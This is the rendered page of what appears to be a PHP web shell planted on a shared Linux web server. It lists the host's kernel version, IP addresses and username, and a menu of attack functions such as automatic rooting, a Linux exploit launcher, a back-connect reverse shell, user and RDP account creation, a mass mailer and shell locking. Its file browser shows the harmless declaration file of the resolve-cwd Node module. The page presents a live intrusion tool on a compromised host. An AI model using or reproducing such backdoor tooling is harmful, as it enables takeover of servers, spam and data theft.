Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
resolve-cwd /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
1.28
KB
-rw-r--r--
index.js
208
B
-rw-r--r--
package.json
737
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.d.ts
declare const resolveCwd: { /** Resolve the path of a module like [`require.resolve()`](https://nodejs.org/api/globals.html#globals_require_resolve) but from the current working directory. @param moduleId - What you would use in `require()`. @returns The resolved module path. @throws When the module can't be found. @example ``` import resolveCwd = require('resolve-cwd'); console.log(__dirname); //=> '/Users/sindresorhus/rainbow' console.log(process.cwd()); //=> '/Users/sindresorhus/unicorn' console.log(resolveCwd('./foo')); //=> '/Users/sindresorhus/unicorn/foo.js' ``` */ (moduleId: string): string; /** Resolve the path of a module like [`require.resolve()`](https://nodejs.org/api/globals.html#globals_require_resolve) but from the current working directory. @param moduleId - What you would use in `require()`. @returns The resolved module path. Returns `undefined` instead of throwing when the module can't be found. @example ``` import resolveCwd = require('resolve-cwd'); console.log(__dirname); //=> '/Users/sindresorhus/rainbow' console.log(process.cwd()); //=> '/Users/sindresorhus/unicorn' console.log(resolveCwd.silent('./foo')); //=> '/Users/sindresorhus/unicorn/foo.js' ``` */ silent(moduleId: string): string | undefined; }; export = resolveCwd;
Close